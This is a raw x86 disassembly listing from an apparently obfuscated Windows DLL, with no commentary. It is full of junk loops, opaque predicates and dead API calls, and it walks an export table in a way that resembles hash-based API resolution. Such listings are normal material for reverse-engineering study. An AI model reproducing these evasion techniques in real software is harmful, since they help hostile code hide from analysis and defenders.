mov eax, dword [ebp - 0xa34]
mov dword [ebp - 0x678], eax
mov esi, dword [ebp - 0x678]
push 0
lea ecx, [ebp - 0x6f4]
call fcn.10020c90
mov dword [eax], esi
jmp 0x1003d243
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6f4]
call fcn.10020c74
mov dword [ebp - 0xa3c], 0x7925
mov dword [ebp - 0x1480], 0x1000ab6c
cmp dword [ebp - 0xa3c], 0x7ced
jle 0x1003d427
and dword [ebp - 0x3f0], 0
jmp 0x1003d3c6
mov eax, dword [ebp - 0x3f0]
inc eax
mov dword [ebp - 0x3f0], eax
cmp dword [ebp - 0x3f0], 0x27d8
jge 0x1003d427
and dword [ebp - 0x3f8], 0
jmp 0x1003d3e8
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x3f8], eax
cmp dword [ebp - 0x3f8], 0x4448
jge 0x1003d425
mov eax, dword [ebp - 0x3f0]
and eax, dword [ebp - 0x3f8]
cdq
mov dword [ebp - 0x1214], eax
mov dword [ebp - 0x1210], edx
push dword [ebp - 0x1210]
push dword [ebp - 0x1214]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003d3db
jmp 0x1003d3b9
mov ecx, 0x1008b09c
call fcn.100426ad
mov ecx, dword [ebp - 0xf4]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1008b09c
call fcn.100426b1
cmp dword [ebp - 0xa3c], 0x775b
jge 0x1003d461
mov edx, dword [ebp - 0x1480]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x15fc], 0x71177e8e
mov dword [ebp - 0x15f8], 0x71177e8e
mov dword [ebp - 0x15f4], 0x71177e8e
mov dword [ebp - 0x15f0], 0x71177e8e
lea ecx, [ebp - 0x6aa]
call fcn.10020c9f
push eax
lea eax, [ebp - 0x15ec]
push eax
lea eax, [ebp - 0x15fc]
push eax
lea ecx, [ebp - 0x1a70]
call fcn.10020ca2
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1690]
call fcn.10020c4e
mov dword [ebp - 4], 0x27
mov dword [ebp - 0x154], 1
mov dword [ebp - 0x1218], 0xffffffff
mov dword [ebp - 0xa44], 0x1047
mov dword [ebp - 0x1200], 0x1000ab98
cmp dword [ebp - 0xa44], 0x13d0
jle 0x1003d572
and dword [ebp - 0x400], 0
jmp 0x1003d50f
mov eax, dword [ebp - 0x400]
inc eax
mov dword [ebp - 0x400], eax
cmp dword [ebp - 0x400], 0x7fe4
jge 0x1003d572
and dword [ebp - 0x408], 0
jmp 0x1003d531
mov eax, dword [ebp - 0x408]
inc eax
mov dword [ebp - 0x408], eax
cmp dword [ebp - 0x408], 0x3390
jge 0x1003d570
mov eax, dword [ebp - 0x400]
mov ecx, dword [ebp - 0x408]
sar eax, cl
cdq
mov dword [ebp - 0x1220], eax
mov dword [ebp - 0x121c], edx
push dword [ebp - 0x121c]
push dword [ebp - 0x1220]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003d524
jmp 0x1003d502
cmp dword [ebp - 0xa44], 0xdde
jge 0x1003d58e
mov edx, dword [ebp - 0x1200]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x154], 3
jmp 0x1003d5a7
mov eax, dword [ebp - 0x154]
dec eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0
jl 0x1003d7bd
mov dword [ebp - 0x428], 0xd4351cdc
mov byte [ebp - 0x195], 0
movzx eax, byte [ebp - 0x195]
test eax, eax
je 0x1003d6f0
mov dword [ebp - 0xa4c], 0x569a
mov dword [ebp - 0x120c], 0x1000abc0
cmp dword [ebp - 0xa4c], 0x573a
jle 0x1003d6d0
and dword [ebp - 0x410], 0
jmp 0x1003d60e
mov eax, dword [ebp - 0x410]
inc eax
mov dword [ebp - 0x410], eax
cmp dword [ebp - 0x410], 0x1c44
jge 0x1003d6d0
and dword [ebp - 0x418], 0
jmp 0x1003d634
mov eax, dword [ebp - 0x418]
inc eax
mov dword [ebp - 0x418], eax
cmp dword [ebp - 0x418], 0x5cf7
jge 0x1003d6cb
and dword [ebp - 0x420], 0
jmp 0x1003d65a
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x9f7
jge 0x1003d6c6
mov eax, dword [ebp - 0x410]
cdq
idiv dword [ebp - 0x418]
add edx, dword [ebp - 0x420]
mov eax, edx
cdq
mov dword [ebp - 0x122c], eax
mov dword [ebp - 0x1228], edx
push dword [ebp - 0x1228]
push dword [ebp - 0x122c]
lea ecx, [ebp - 0x1bf8]
call fcn.1001098e
pop ecx
pop ecx
mov dword [ebp - 0x1388], eax
mov ecx, dword [ebp - 0x1388]
call fcn.100208b8
push eax
call fcn.1006abb3
pop ecx
lea ecx, [ebp - 0x1bf8]
call fcn.100208ae
jmp 0x1003d64d
jmp 0x1003d627
jmp 0x1003d601
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
cmp dword [ebp - 0xa4c], 0x52fc
jge 0x1003d6f0
push dword [ebp - 0x120c]
call fcn.1006abb3
pop ecx
mov dword [ebp - 0x428], 3
jmp 0x1003d709
mov eax, dword [ebp - 0x428]
dec eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 0
jl 0x1003d7b8
mov dword [ebp - 0xa54], 0x2c57e71f
push dword [ebp - 0x154]
lea ecx, [ebp - 0x1690]
call fcn.10020c90
mov eax, dword [eax]
sub eax, dword [ebp - 0x154]
mov dword [ebp - 0x1488], eax
push 1
lea ecx, [ebp - 0x1690]
call fcn.10020c90
mov ecx, dword [ebp - 0x1488]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa54]
mov dword [ebp - 0x1904], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x190c], eax
cmp dword [ebp - 0xa54], 0xffffffff
jle 0x1003d781
mov dword [ebp - 0xa5c], 1
jmp 0x1003d788
and dword [ebp - 0xa5c], 0
cmp dword [ebp - 0xa5c], 0xfbc7
jne 0x1003d7a0
mov dword [ebp - 0xa64], 1
jmp 0x1003d7a7
and dword [ebp - 0xa64], 0
mov eax, dword [ebp - 0xa64]
mov dword [ebp - 0x1218], eax
jmp 0x1003d6fc
jmp 0x1003d59a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1690]
call fcn.10020c74
and dword [ebp - 0x1b8], 0
jmp 0x1003d7e2
mov eax, dword [ebp - 0x1b8]
inc eax
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x1b8]
cmp ecx, dword [eax + 0x18]
jae 0x1003e3f9
mov eax, dword [ebp - 0xf4]
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0x1b8]
lea eax, [ecx + eax*4]
mov dword [ebp - 0xa94], eax
cmp dword [ebp - 0xa94], 0
je 0x1003e3f4
mov dword [ebp - 0x9c], 0x68ec0ae9
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 0x9c], 0
jmp 0x1003d84f
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0x17
jne 0x1003d958
mov dword [ebp - 0x430], 0
mov dword [ebp - 0xa84], 0xcd4431fa
cmp dword [ebp - 0x9c], 0
je 0x1003d92b
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0x1914], eax
mov eax, dword [ebp - 0x9c]
add eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x9c]
je 0x1003d8a9
mov dword [ebp - 0xa6c], 1
jmp 0x1003d8b0
and dword [ebp - 0xa6c], 0
mov eax, dword [ebp - 0x430]
cmp eax, dword [ebp - 0xa6c]
jl 0x1003d8ca
mov dword [ebp - 0xa74], 1
jmp 0x1003d8d1
and dword [ebp - 0xa74], 0
mov eax, dword [ebp - 0xa74]
mov dword [ebp - 0x1f0], eax
mov eax, dword [ebp - 0x430]
cmp dword [ebp - 0x1f0], eax
jl 0x1003d8f7
mov dword [ebp - 0xa7c], 1
jmp 0x1003d8fe
and dword [ebp - 0xa7c], 0
mov eax, dword [ebp - 0xa7c]
mov dword [ebp - 0xa84], eax
mov eax, dword [ebp - 0xa84]
mov dword [ebp - 0x191c], eax
mov eax, dword [ebp - 0x1f0]
cmp dword [ebp - 0x430], eax
jl 0x1003d92b
cmp dword [ebp - 0x1f0], 0
cmp dword [ebp - 0x1f0], 0xffffffff
jl 0x1003d940
mov dword [ebp - 0xa8c], 1
jmp 0x1003d947
and dword [ebp - 0xa8c], 0
mov eax, dword [ebp - 0xa8c]
mov dword [ebp - 0x430], eax
jmp 0x1003d842
mov byte [ebp - 0x16d], 0
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x1003d974
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov eax, dword [ebp - 0xa94]
mov ecx, dword [ebp - 0x1d8]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x1a38]
call fcn.100425d4
mov dword [ebp - 4], 0x28
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x1a38]
call fcn.10024587
mov dword [ebp - 0xb14], eax
movzx eax, byte [0x1008b004]
test eax, eax
je 0x1003d9c9
mov ecx, 0x1008b09c
call fcn.10042660
movzx eax, al
test eax, eax
jne 0x1003dd45
mov dword [ebp - 0x15c], 0x4ffb
mov dword [ebp - 0xaac], 0x885bd52a
mov dword [ebp - 0x15c], 0xc64a6847
mov dword [ebp - 0x15c], 0x13
jmp 0x1003da00
mov eax, dword [ebp - 0x15c]
dec eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0xd
jg 0x1003dc31
push 1
lea ecx, [ebp - 0xf28]
call fcn.10020bf2
mov byte [ebp - 4], 0x29
mov dword [ebp - 0x54], 0xfffffffc
mov dword [ebp - 0x1f4], 3
mov dword [ebp - 0x438], 0
jmp 0x1003da48
mov eax, dword [ebp - 0x438]
inc eax
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 1
jge 0x1003da6a
push dword [ebp - 0x438]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
mov dword [eax], 4
jmp 0x1003da3b
mov dword [ebp - 0x54], 0
jmp 0x1003da7a
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x1003dbbf
mov dword [ebp - 0x618], 0
mov dword [ebp - 0xaa4], 0xf738f585
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003dad3
cmp dword [ebp - 0xaac], 0
je 0x1003dad3
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
cmp dword [eax], 0
je 0x1003dad3
mov dword [ebp - 0xa9c], 1
jmp 0x1003dada
and dword [ebp - 0xa9c], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
mov ecx, dword [ebp - 0xa9c]
sub ecx, dword [eax]
mov dword [ebp - 0xaa4], ecx
mov esi, dword [ebp - 0xaa4]
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
sub esi, dword [eax]
cmp esi, dword [ebp - 0x15c]
je 0x1003db20
mov dword [ebp - 0xab4], 1
jmp 0x1003db27
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0xaac]
cmp dword [ebp - 0xab4], eax
jg 0x1003db41
mov dword [ebp - 0xabc], 1
jmp 0x1003db48
and dword [ebp - 0xabc], 0
push dword [ebp - 0x54]
lea ecx, [ebp - 0xf28]
call fcn.10020c90
mov eax, dword [eax]
cmp eax, dword [ebp - 0xabc]
jne 0x1003db75
cmp dword [ebp - 0x15c], 0
je 0x1003db75
mov dword [ebp - 0xac4], 1
jmp 0x1003db7c
and dword [ebp - 0xac4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0xac4], eax
jne 0x1003db93
mov dword [ebp - 0xacc], 1
jmp 0x1003db9a
and dword [ebp - 0xacc], 0
mov eax, dword [ebp - 0x618]
imul eax, dword [ebp - 0xacc]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x618]
dec eax
mov dword [ebp - 0x618], eax
jmp 0x1003da73
mov dword [ebp - 0x54], 0
jmp 0x1003dbcf
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jg 0x1003dc1d
mov dword [ebp - 0x1f4], 0
jmp 0x1003dbee
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
jl 0x1003dc1b
mov byte [ebp - 0x197], 0
movzx eax, byte [ebp - 0x197]
test eax, eax
je 0x1003dc19
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
jmp 0x1003dbe1
jmp 0x1003dbc8
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0xf28]
call fcn.10020c74
jmp 0x1003d9f3
lea eax, [ebp - 0xb14]
push eax
mov ecx, 0x1008b09c
call fcn.1004266f
mov ecx, dword [ebp - 0x1b8]
mov dword [eax], ecx
mov dword [ebp - 0x1924], 0x70ad6f2e
push 1
lea ecx, [ebp - 0x18b4]
call fcn.10020bf2
mov byte [ebp - 4], 0x2a
mov dword [ebp - 0x192c], 0xb8c3ad3b
mov dword [ebp - 0x1934], 0xafd1
mov dword [ebp - 0x193c], 0xb5c6
mov dword [ebp - 0x1944], 0xfffffffa
mov dword [ebp - 0xc8], 0
jmp 0x1003dca6
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x1003dcc5
push dword [ebp - 0xc8]
lea ecx, [ebp - 0x18b4]
call fcn.10020c90
and dword [eax], 0
jmp 0x1003dc99
mov dword [ebp - 0xc8], 0
jmp 0x1003dcde
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 1
jge 0x1003dcfa
mov eax, dword [ebp - 0xc8]
mov dword [ebp + eax*4 - 0xad4], 0xb78a
jmp 0x1003dcd1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xad4]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xad4], eax
mov byte [ebp - 0x175], 0
movzx eax, byte [ebp - 0x175]
test eax, eax
je 0x1003dd2f
push 0
call dword [sym.imp.USER32.dll_EndDeferWindowPos]
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x18b4]
call fcn.10020c74
mov byte [0x1008b004], 1
mov dword [ebp - 0xb0c], 1
mov dword [ebp - 0x448], 3
mov dword [ebp - 0x61c], 0x6729694d
mov dword [ebp - 0xb04], 0xf3d47941
mov dword [ebp - 0x1460], 0xffffffff
mov dword [ebp - 0x440], 0
jmp 0x1003dd90
mov eax, dword [ebp - 0x440]
inc eax
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 4
jge 0x1003ddac
mov eax, dword [ebp - 0x440]
mov dword [ebp + eax*4 - 0x1584], 0x12265e3e
jmp 0x1003dd83
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x1960], eax
cmp dword [ebp - 0x448], 0
je 0x1003dddb
imul eax, dword [ebp - 0x448], 0xdb95
test eax, eax
je 0x1003dddb
mov dword [ebp - 0xadc], 1
jmp 0x1003dde2
and dword [ebp - 0xadc], 0
mov eax, dword [ebp - 0x448]
cmp dword [ebp - 0xadc], eax
jle 0x1003ddfc
mov dword [ebp - 0xae4], 1
jmp 0x1003de03
and dword [ebp - 0xae4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1584]
cmp eax, dword [ebp - 0xae4]
jg 0x1003de24
mov dword [ebp - 0x1390], 1
jmp 0x1003de2b
and dword [ebp - 0x1390], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1584]
cmp dword [ebp - 0x448], eax
jne 0x1003de4c
mov dword [ebp - 0xaec], 1
jmp 0x1003de53
and dword [ebp - 0xaec], 0
mov eax, dword [ebp - 0xaec]
mov dword [ebp - 0x61c], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1584]
cmp dword [ebp - 0x61c], eax
jl 0x1003de80
mov dword [ebp - 0xaf4], 1
jmp 0x1003de87
and dword [ebp - 0xaf4], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x1584]
cmp dword [ebp - 0xaf4], eax
jg 0x1003dea8
mov dword [ebp - 0xafc], 1
jmp 0x1003deaf
and dword [ebp - 0xafc], 0
mov eax, dword [ebp - 0xafc]
mov dword [ebp - 0xb04], eax
imul eax, dword [ebp - 0xb04], 0x9f7c
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1584]
jge 0x1003dee0
mov dword [ebp - 0x1224], 1
jmp 0x1003dee7
and dword [ebp - 0x1224], 0
mov eax, dword [ebp - 0x61c]
mov dword [ebp - 0x1968], eax
mov eax, dword [ebp - 0xb0c]
mov dword [ebp - 0x1460], eax
cmp dword [ebp - 0x1c8], 0xffffffff
jne 0x1003e3e5
mov eax, dword [ebp - 0xb14]
cmp eax, dword [ebp - 0x450]
jne 0x1003e3e5
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xb1c], 0x4f18
mov dword [ebp - 0x1230], 0x1000abf0
cmp dword [ebp - 0xb1c], 0x52e5
jle 0x1003e001
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov dword [ebp - 0x1b0], 0
cmp dword [ebp - 0xb1c], 0x4c41
jge 0x1003e027
mov edx, dword [ebp - 0x1230]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x14], 0xc85f70ad
cmp dword [ebp - 0x14], 0x48afa2fa
jg 0x1003e043
mov dword [ebp - 0xb24], 1
jmp 0x1003e04a
and dword [ebp - 0xb24], 0
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0xb24]
jle 0x1003e11e
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x14], eax
jl 0x1003e06d
mov dword [ebp - 0xb2c], 1
jmp 0x1003e074
and dword [ebp - 0xb2c], 0
cmp dword [ebp - 0xb2c], 0x3631e19e
jl 0x1003e08f
cmp dword [ebp - 0x14], 0
jne 0x1003e08f
and dword [ebp - 0xb34], 0
jmp 0x1003e099
mov dword [ebp - 0xb34], 1
cmp dword [ebp - 0xb34], 0xc700
jge 0x1003e0b1
mov dword [ebp - 0x1398], 1
jmp 0x1003e0b8
and dword [ebp - 0x1398], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1970], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1978], eax
cmp dword [ebp - 0x14], 0xc6d21cd
jg 0x1003e0df
mov dword [ebp - 0xb3c], 1
jmp 0x1003e0e6
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0xb3c]
sub eax, dword [ebp - 0x14]
cmp eax, 0xc18a
jge 0x1003e102
mov dword [ebp - 0xb44], 1
jmp 0x1003e109
and dword [ebp - 0xb44], 0
cmp dword [ebp - 0xb44], 0x4d64ea33
jg 0x1003e11e
mov dword [ebp - 0xb4c], 1
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0xb4c], eax
je 0x1003e156
mov byte [ebp - 0x199], 0
movzx eax, byte [ebp - 0x199]
test eax, eax
je 0x1003e151
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
jmp 0x1003e3d9
mov dword [ebp - 0x7c], 0xc3da550e
push 2
lea ecx, [ebp - 0x18c4]
call fcn.10020bf2
mov byte [ebp - 4], 0x2b
mov dword [ebp - 0x470], 0
jmp 0x1003e187
mov eax, dword [ebp - 0x470]
inc eax
mov dword [ebp - 0x470], eax
cmp dword [ebp - 0x470], 2
jge 0x1003e1a9
push dword [ebp - 0x470]
lea ecx, [ebp - 0x18c4]
call fcn.10020c90
mov dword [eax], 8
jmp 0x1003e17a
mov dword [ebp - 0x14], 0x1c
jmp 0x1003e1b9
cmp dword [ebp - 0x14], 0xffffffe9
jg 0x1003e3ca
mov dword [ebp - 0x624], 0xd03b15a8
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0x1980], eax
cmp dword [ebp - 0x7c], 0xfdaf0b56
je 0x1003e1ee
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x18c4]
call fcn.10020c74
mov eax, dword [ebp - 0x1b8]
mov dword [ebp - 0x1c8], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a38]
call fcn.10020b5f
jmp 0x1003d7d5
mov dword [ebp - 0x1c0], 0xffffffff
mov dword [ebp - 0x62c], 0xb6feb9e9
mov dword [ebp - 0xba4], 0x3b9d
mov dword [ebp - 0x147c], 0x1000ac4c
cmp dword [ebp - 0xba4], 0x3c77
jle 0x1003e50c
and dword [ebp - 0x490], 0
jmp 0x1003e447
mov eax, dword [ebp - 0x490]
inc eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0x2838
jge 0x1003e50c
and dword [ebp - 0x488], 0
jmp 0x1003e46d
mov eax, dword [ebp - 0x488]
inc eax
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0x37da
jge 0x1003e507
and dword [ebp - 0x478], 0
jmp 0x1003e493
mov eax, dword [ebp - 0x478]
inc eax
mov dword [ebp - 0x478], eax
cmp dword [ebp - 0x478], 0x5af7
jge 0x1003e502
and dword [ebp - 0x480], 0
jmp 0x1003e4b5
mov eax, dword [ebp - 0x480]
inc eax
mov dword [ebp - 0x480], eax
cmp dword [ebp - 0x480], 0x2ac9
jge 0x1003e500
mov ecx, dword [ebp - 0x478]
sub ecx, dword [ebp - 0x480]
mov eax, dword [ebp - 0x488]
shl eax, cl
or eax, dword [ebp - 0x490]
cdq
mov dword [ebp - 0x1244], eax
mov dword [ebp - 0x1240], edx
push dword [ebp - 0x1240]
push dword [ebp - 0x1244]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003e4a8
jmp 0x1003e486
jmp 0x1003e460
jmp 0x1003e43a
push 2
lea ecx, [ebp - 0x143c]
call fcn.10020bf2
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0xba4], 0x3ae7
jge 0x1003e53c
mov edx, dword [ebp - 0x147c]
mov ecx, 0x10085b58
call fcn.10023628
mov dword [ebp - 0x4a0], 5
mov dword [ebp - 0xbfc], 0xfffffffc
mov dword [ebp - 0x498], 0
jmp 0x1003e569
mov eax, dword [ebp - 0x498]
inc eax
mov dword [ebp - 0x498], eax
cmp dword [ebp - 0x498], 2
jge 0x1003e58b
push dword [ebp - 0x498]
lea ecx, [ebp - 0x143c]
call fcn.10020c90
mov dword [eax], 0x256ee973
jmp 0x1003e55c
mov dword [ebp - 0x1c0], 0x18
jmp 0x1003e5a4
mov eax, dword [ebp - 0x1c0]
dec eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0xfffffff8
jl 0x1003e7dd
mov dword [ebp - 0xbb4], 0xfffffffb
mov dword [ebp - 0x1564], 0xfffffffa
mov dword [ebp - 0x1560], 0xfffffffa
mov dword [ebp - 0x155c], 0xfffffffa
mov dword [ebp - 0x1558], 0xfffffffa
mov dword [ebp - 0x1990], 0x307a329e
mov dword [ebp - 0x13a0], 0x642e5f0e
cmp dword [ebp - 0xbb4], 0
jne 0x1003e60c
mov dword [ebp - 0xbac], 1
jmp 0x1003e613
and dword [ebp - 0xbac], 0
cmp dword [ebp - 0xbac], 0xcdea
jg 0x1003e62b
mov dword [ebp - 0xbe4], 1
jmp 0x1003e632
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0x4a0]
inc eax
mov dword [ebp - 0x4a0], eax
mov eax, dword [ebp - 0x4a0]
neg eax
jne 0x1003e749
push 1
lea ecx, [ebp - 0x143c]
call fcn.10020c90
mov eax, dword [eax]
sub eax, 4
cmp eax, dword [ebp - 0x1c0]
jl 0x1003e673
mov dword [ebp - 0x1248], 1
jmp 0x1003e67a
and dword [ebp - 0x1248], 0
mov eax, dword [ebp - 0x4a0]
mov dword [ebp - 0x1998], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbb4]
cmp dword [ebp + eax - 0x1564], ecx
jne 0x1003e6ad
cmp dword [ebp - 0x62c], 0
jne 0x1003e6ad
and dword [ebp - 0xbbc], 0
jmp 0x1003e6b7
mov dword [ebp - 0xbbc], 1
mov eax, dword [ebp - 0xbbc]
shl eax, 2
cmp eax, 0x6a9b
jg 0x1003e6d3
mov dword [ebp - 0xbc4], 1
jmp 0x1003e6da
and dword [ebp - 0xbc4], 0
mov eax, dword [ebp - 0x1c0]
cmp dword [ebp - 0xbc4], eax
jg 0x1003e6f5
push 0
lea ecx, [ebp - 0x143c]
call fcn.10020c90
cmp dword [ebp - 0x13a0], 0
je 0x1003e70f
xor eax, eax
inc eax
je 0x1003e70f
mov dword [ebp - 0xbcc], 1
jmp 0x1003e716
and dword [ebp - 0xbcc], 0
mov eax, dword [ebp - 0xbfc]
cmp dword [ebp - 0xbcc], eax
jge 0x1003e730
mov dword [ebp - 0xbd4], 1
jmp 0x1003e737
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0xbd4]
dec eax
jne 0x1003e749
and dword [ebp - 0xbdc], 0
jmp 0x1003e753
mov dword [ebp - 0xbdc], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1564]
add eax, dword [ebp - 0xbdc]
cmp dword [ebp - 0xbe4], eax
je 0x1003e77a
mov dword [ebp - 0xbec], 1
jmp 0x1003e781
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0x62c]
cmp dword [ebp - 0xbec], eax
jle 0x1003e79b
mov dword [ebp - 0xbf4], 1
jmp 0x1003e7a2
and dword [ebp - 0xbf4], 0
push 0
lea ecx, [ebp - 0x143c]
call fcn.10020c90
mov ecx, dword [ebp - 0xbf4]
sub ecx, dword [eax]
jne 0x1003e7c5
mov dword [ebp - 0x1254], 1
jmp 0x1003e7cc
and dword [ebp - 0x1254], 0
mov eax, dword [ebp - 0xbfc]
mov dword [ebp - 0x62c], eax
jmp 0x1003e597
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x143c]
call fcn.10020c74
cmp dword [ebp + 0x10], 0
jne 0x1003ea92
cmp dword [ebp - 0x1c8], 0xffffffff
je 0x1003ea92
mov dword [ebp - 0xd8], 0xf1124f01
mov dword [ebp - 0xc14], 0x78398922
mov dword [ebp - 0xd8], 6
jmp 0x1003e830
mov eax, dword [ebp - 0xd8]
dec eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0xfffffff6
jg 0x1003ea38
mov dword [ebp - 0xd0], 0xffffffff
mov dword [ebp - 0xc04], 0x3773672
mov dword [ebp - 0x4a8], 0
jmp 0x1003e86a
mov eax, dword [ebp - 0x4a8]
inc eax
mov dword [ebp - 0x4a8], eax
cmp dword [ebp - 0x4a8], 2
jge 0x1003e886
mov eax, dword [ebp - 0x4a8]
mov dword [ebp + eax*4 - 0x1884], 0xfffffffe
jmp 0x1003e85d
mov dword [ebp - 0xd0], 0
jmp 0x1003e89f
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 1
jg 0x1003e8de
mov byte [ebp - 0x180], 0
movzx eax, byte [ebp - 0x180]
test eax, eax
je 0x1003e8ca
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov eax, dword [ebp - 0xd0]
cmp dword [ebp + eax*4 - 0x1884], 0
je 0x1003e8dc
jmp 0x1003e892
jmp 0x1003e892
mov dword [ebp - 0xd0], 0
jmp 0x1003e8f7
mov eax, dword [ebp - 0xd0]
dec eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xffffffe4
je 0x1003ea33
mov dword [ebp - 0x4b0], 0x4800fa7
mov dword [ebp - 0x18f0], 1
mov dword [ebp - 0x182c], 0x4e703026
mov dword [ebp - 0x4b0], 0x16
jmp 0x1003e93b
mov eax, dword [ebp - 0x4b0]
dec eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 8
je 0x1003e95f
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xc14], eax
mov eax, dword [ebp - 0xc04]
dec eax
mov dword [ebp - 0xc04], eax
jmp 0x1003e92e
mov dword [ebp - 0xc0c], 0x58f3
mov dword [ebp - 0xf60], 0x1000ac68
cmp dword [ebp - 0xc0c], 0x5bb7
jle 0x1003e9f8
and dword [ebp - 0x4b8], 0
jmp 0x1003e995
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0xd24
jge 0x1003e9f8
and dword [ebp - 0x4c0], 0
jmp 0x1003e9b7
mov eax, dword [ebp - 0x4c0]
inc eax
mov dword [ebp - 0x4c0], eax
cmp dword [ebp - 0x4c0], 0x4853
jge 0x1003e9f6
mov eax, dword [ebp - 0x4b8]
mov ecx, dword [ebp - 0x4c0]
sar eax, cl
cdq
mov dword [ebp - 0x1250], eax
mov dword [ebp - 0x124c], edx
push dword [ebp - 0x124c]
push dword [ebp - 0x1250]
mov ecx, 0x10085b58
call fcn.100208d8
jmp 0x1003e9aa
jmp 0x1003e988
mov byte [ebp - 0x190], 0
cmp dword [ebp - 0xc0c], 0x5859
jge 0x1003ea1b
mov edx, dword [ebp - 0xf60]
mov ecx, 0x10085b58
call fcn.10023628
